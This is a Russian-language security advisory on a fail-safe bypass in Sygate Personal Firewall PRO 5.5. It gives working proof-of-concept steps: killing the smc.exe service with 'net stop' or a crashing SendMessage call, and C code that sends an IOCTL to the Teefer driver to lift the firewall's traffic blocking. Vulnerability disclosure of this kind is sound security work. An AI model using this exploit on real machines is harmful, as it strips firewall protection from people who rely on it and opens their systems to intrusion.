Обход режима защиты от сбоев в Sygate Personal Firewall PRO

Уязвимые версии: Sygate Personal Firewall PRO 5.5 Build 2525

Описание: Обнаружена уязвимость в Sygate Personal Firewall Pro. Локальный атакующий может остановить службу smc.exe и обойти ограничения режима защиты от сбоев.

Режим защиты от сбоев обеспечивает блокирование всего трафика, если служба smc.exe не запущена. Наличие уязвимости подтверждено на ОС Windows 2000 и Windows XP.

Пример/Эксплоит: Эта уязвимость может быть реализована следующим образом:
1. Если злонамеренная программа запущена с правами администратора, то службу smc.exe можно завершить следующим образом:

• net stop smcservice
• или используя Service Control Manager API.

2. Злонамеренная программа, которая запущена от имени непривилегированного пользователя, может использовать List-View Control в SPFP's GUI.

• SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);

Когда служба smc.exe будет остановлена, режим защиты от сбоев можно обойти следующим образом:
hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("Open failed\n");
}
else
{
printf("Device opened.\n");

char buffer[8];
DWORD *ptr = (DWORD *)buffer;
DWORD *ptr2 = (DWORD *)(buffer + 4);
DWORD ret;

*ptr = 0;
*ptr2 = 0;

if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
printf("Sent.\n");

CloseHandle(hDevice);
}

URL производителя: http://soho.sygate.com/products/spf_pro.htm

Решение: Решения этой проблемы не существует

Ссылки: Sygate Personal Firewall PRO Fail-Safe Bypass Vulnerability